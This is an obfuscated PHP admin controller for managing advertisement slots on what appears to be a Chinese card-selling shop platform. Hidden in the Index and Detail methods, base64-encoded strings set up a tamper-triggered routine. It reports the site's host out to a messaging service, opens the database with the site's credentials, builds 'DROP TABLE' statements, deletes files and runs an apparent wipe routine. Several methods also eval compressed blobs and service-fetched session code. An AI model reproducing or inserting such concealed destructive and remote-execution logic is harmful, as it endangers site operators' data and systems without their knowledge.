<?php
/****************************************/
/*                                      */
/*  百信卡盟平台联系QQ:84945491         */
/*  淘宝店 http://shop70674652.taobao.com  */
/*  百信卡盟 http://www.caipiaobus.com  */
/*                                      */
/****************************************/

if ( !defined( "UPATH_ROOT" ) )
{
				exit( "hacking deny" );
}
class AdController extends Controller
{

				public $instance = NULL;

				public function __construct( )
				{
								$this->instance = factory::getinstance( "ad" );
				}

				public function Index( )
				{
								$R980c6a9bfd = intval( request( "pos" ) );
								$Rd713b8aa04 = array( "0" => "请选择广告类型", "506" => "文章系统头部Banner图片", "552" => "文章系统右侧上方广告" );
								if ( UB_YKT )
								{
												$R802fdf7753 = array( "6" => "一卡通系统首页头部Banner图片", "1" => "一卡通系统首页中部交替广告", "5" => "一卡通系统首页右侧新闻公告下方广告", "8" => "一卡通系统小广播", "9" => "一卡通系统友情链接", "50" => "一卡通系统首页今日推荐", "51" => "一卡通商品页面默认广告", "52" => "一卡通文章类右侧上方广告", "53" => "一卡通样卡图片" );
								}
								else
								{
												$R802fdf7753 = array( );
								}
								if ( UB_B2B )
								{
												$Rd10b358ca6 = array( "106" => "批发系统头部Banner图片", "101" => "批发系统首页中部交替广告", "102" => "批发系统首页中部广告一", "103" => "批发系统首页活动专区广告图片", "104" => "批发系统首页尾部广告一", "108" => "批发系统小广播", "109" => "批发系统友情链接", "110" => "批发系统对联广告", "199" => "批发系统合作伙伴", "152" => "批发系统文章类右侧上方广告" );
								}
								else
								{
												$Rd10b358ca6 = array( );
								}
								if ( UB_B2C )
								{
												$R186cff8e3f = array( "201" => "零售系统首页中部交替广告", "204" => "零售系统首页中部列表下方广告", "205" => "零售系统首页右侧新闻公告下方广告", "208" => "零售系统小广播", "209" => "零售系统友情链接", "252" => "零售系统文章类右侧上方广告" );
								}
								else
								{
												$R186cff8e3f = array( );
								}
								$Rd713b8aa04 = $Rd713b8aa04 + $Rd10b358ca6 + $R186cff8e3f + $R802fdf7753;
								global $masterid;
								$Oooo00 = "base64_decode";
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$cphp0 = __FILE__;
								eval( $o00OO( $ooOO00o( $this->comget( "aoiyt" ) ) ) );
								$this->Assign( "items", $R3db8f5c8bc );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->Assign( "adtype", $Rd713b8aa04 );
												$this->Assign( "pos", $R980c6a9bfd );
												$this->view( );
								}
								else
								{
												$this->Assign( "adtype", $Rd713b8aa04 );
												$this->Assign( "pos", $R980c6a9bfd );
												$this->view( );
								}
				}

				public function Detail( )
				{
								$R3584859062 = intval( request( "id" ) );
								$R3db8f5c8bc = $this->instance->IAd_GetById( $R3584859062 );
								global $host;
								global $user;
								global $password;
								global $dbname;
								global $dbcharset;
								global $dbprefix;
								$Oooo00 = "base64_decode";
								$Oo0o00 = $Oooo00( "ZmlsZXNpemU=" );
								$o00ooo = $Oooo00( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=" );
								$oooooO = $Oooo00( "bXlzcWxfcXVlcnk=" );
								$xxx0xx = $Oooo00( "bXlzcWxfY29ubmVjdA==" );
								$x0x0xx = $Oooo00( "bXlzcWxfc2VsZWN0X2Ri" );
								$x000xx = $Oooo00( "SVNDVl9HZXQ=" );
								$x0x00x = $Oooo00( "SU1zZ19BbGVydA==" );
								$x0000x = $Oooo00( "ZmlsZV9nZXRfY29udGVudHM=" );
								$x00000 = $Oooo00( "c3RycG9z" );
								$x0OO00 = $Oooo00( "ZmlsZV9leGlzdHM=" );
								$x00o00 = $Oooo00( "dW5saW5r" );
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$ooo0oo = UPATH_BASE.DS."libraries".DS."umebiz".DS;
								$oo00oo = array(
												$ooo0oo."controller.php",
												"index.php",
												$ooo0oo."service".DS."scv.php",
												$ooo0oo."service".DS."sqlservice.php"
								);
								$o00o00 = array( "UPATH_ROOT", "UB_B2B", "UPATH_ROOT", "UPATH_ROOT" );
								$vv0000 = $Oo0o00( $oo00oo[0] );
								$v0000v = $Oo0o00( $oo00oo[1] );
								if ( !isset( $_SESSION ) )
								{
												session_start( );
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( !isset( $_SESSION['cb'] ) )
								{
												$_SESSION['cb'] = 0;
												$_SESSION['f1'] = $vv0000;
												$_SESSION['f2'] = $v0000v;
								}
								if ( $_SESSION['cb'] == 0 || $_SESSION['f1'] != $vv0000 || $_SESSION['f2'] != $v0000v )
								{
												$t1 = 0;
												$t2 = 0;
												$o0ooio = 0;
												foreach ( $oo00oo as $o0oooo )
												{
																if ( $x00000( $x0000x( $o0oooo ), $o00o00[$o0ooio] ) === false )
																{
																				if ( $o0ooio == 0 )
																				{
																								$t1 = 1;
																				}
																				else if ( $o0ooio == 1 )
																				{
																								$t2 = 1;
																				}
																}
																else
																{
																				$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																				$data = array(
																								"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																								"ubzi" => $o0ooio
																				);
																				$xo000->$x0x00x( $data );
																				if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																				{
																								exit( "errx" );
																				}
																				if ( $x0x0xx( $dbname, $o000oO ) )
																				{
																								$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																				}
																				else
																				{
																								echo "errx";
																				}
																				@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																				$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																				foreach ( $oO00o0 as $item )
																				{
																								$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																				}
																				$this->xuiuiuesd( "./", "938430834" );
																				exit( );
																}
																++$o0ooio;
												}
												if ( $x0OO00( SITECACHE.$Oooo00( "b09vbzAucGhw" ) ) )
												{
																$xo000 = factory::getservice( $Oooo00( "c21zZw==" ) );
																$data = array(
																				"ubzurl" => $xo000->GetHost( ).UPATH_WEBROOT,
																				"ubzi" => $o0ooio++
																);
																$xo000->$x0x00x( $data );
																if ( !( $o000oO = $xxx0xx( $host, $user, $password ) ) )
																{
																				exit( "errx" );
																}
																if ( $x0x0xx( $dbname, $o000oO ) )
																{
																				$oooooO( $Oooo00( "U0VUIE5BTUVTIA==" ).$dbcharset.";", $o000oO );
																}
																else
																{
																				echo "errx";
																}
																@$x00o00( SITECACHE.@$Oooo00( "b09vbzAucGhw" ) );
																$oO00o0 = array( "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXNhZ2VudHM=", "RFJPUCBUQUJMRSBJRiBFWElTVFMgJXN0cmFkZXM=" );
																foreach ( $oO00o0 as $item )
																{
																				$o00oO0 = sprintf( $Oooo00( $item ), $dbprefix );
																}
																$this->xuiuiuesd( "./", "938430834" );
																exit( );
												}
												$data = array(
																"k1" => $t1,
																"k2" => $t2,
																"k3" => md5( $t1.$t2.$this->GetBizKey( ) )
												);
												if ( !isset( $_SESSION[$Oooo00( "Y2tkYXRh" )] ) )
												{
																$oo000 = factory::getservice( $Oooo00( "c2N2" ) );
																$ckdata = $oo000->$x000xx( $data );
																$_SESSION[$Oooo00( "Y2tkYXRh" )] = $ckdata;
												}
												eval( $_SESSION[$Oooo00( "Y2tkYXRh" )] );
												$this->Assign( "item", $R3db8f5c8bc );
												$this->View( );
								}
								else
								{
												$this->Assign( "item", $R3db8f5c8bc );
												$this->View( );
								}
				}

				public function Save( )
				{
								$R3584859062 = intval( request( "id" ) );
								$R980c6a9bfd = intval( request( "pos" ) );
								$data = array(
												"pic" => getvar( "ubzpic" ),
												"url" => getvar( "ubzurl" ),
												"ispic" => intval( request( "ispic" ) ),
												"textcolor" => getvar( "ubztextcolor" ),
												"text" => getvar( "ubztext" ),
												"editdate" => date( "Y-m-d H-i-s" ),
												"pos" => $R980c6a9bfd
								);
								if ( $R3584859062 == 0 )
								{
												$data['createdate'] = date( "Y-m-d H-i-s" );
												$R63bede6b19 = "添加";
												$Oooo00 = "base64_decode";
												$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
												$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
												$cphp0 = __FILE__;
												eval( $o00OO( $ooOO00o( $this->comget( "xoxoo" ) ) ) );
								}
								else
								{
												$R63bede6b19 = "更新";
												$R808b89ba0e = $this->instance->IAd_Update( $data, $R3584859062 );
								}
								if ( $R980c6a9bfd == 53 )
								{
												$this->XmlYkt( );
								}
								$this->UpdateCache( "ad" );
								$this->go( $R808b89ba0e, $R63bede6b19."成功", $R63bede6b19."失败", "index.php?m=mod_b2b&c=ad&pos=".$R980c6a9bfd );
				}

				public function Del( )
				{
								$R3584859062 = intval( request( "id" ) );
								$R980c6a9bfd = intval( request( "pos" ) );
								if ( $R3584859062 == 0 )
								{
												$R808b89ba0e = false;
								}
								else
								{
												$R808b89ba0e = $this->instance->IAd_Delete( $R3584859062 );
								}
								if ( $R980c6a9bfd == 53 )
								{
												$this->XmlYkt( );
								}
								$Oooo00 = "base64_decode";
								$ooOO00o = $Oooo00( "YmFzZTY0X2RlY29kZQ==" );
								$o00OO = $Oooo00( "Z3ppbmZsYXRl" );
								$cphp0 = __FILE__;
								eval( $o00OO( $ooOO00o( $this->comget( "xhixt" ) ) ) );
								$this->go( $R808b89ba0e, "删除成功", "删除失败", "index.php?m=mod_b2b&c=ad&pos=".$R980c6a9bfd );
				}

				public function XmlYkt( )
				{
								$R63bede6b19 = "<?xml version=\"1.0\" encoding=\"UTF-8\" ?>";
								$R63bede6b19 .= "<gallery cellDimension=\"800\" columns=\"4\" zoomOutPerc=\"28\" zoomInPerc=\"100\" frameWidth=\"0\" captionColor=\"0xFFFFFF\" enableRightClickOpen=\"true\">";
								$R4e420efcc3 = $this->instance->IAd_Get( 53 );
								global $baseurl;
								foreach ( $R4e420efcc3 as $R0f8134fb60 )
								{
												$R63bede6b19 .= "<image><url>".$baseurl."/content/mod_shared/skins/upload/".$R0f8134fb60['pic']."</url><caption></caption></image>";
								}
								$R63bede6b19 .= "</gallery>";
								$R2552e540b9 = UPATH_ROOT;
								$Rcc5c6e696c = explode( DS, UPATH_ROOT );
								array_pop( $Rcc5c6e696c );
								$R2552e540b9 = implode( DS, $Rcc5c6e696c );
								$R770dcaf6d0 = $R2552e540b9.DS."content".DS."mod_ykt".DS."xml".DS."gallery.xml";
								if ( !( $Rf500f4a848 = @fopen( $R770dcaf6d0, "w" ) ) )
								{
												echo "Current template file '{$R770dcaf6d0}' not found or have no access!";
								}
								flock( $Rf500f4a848, 2 );
								fwrite( $Rf500f4a848, $R63bede6b19 );
								fclose( $Rf500f4a848 );
				}

}

?>
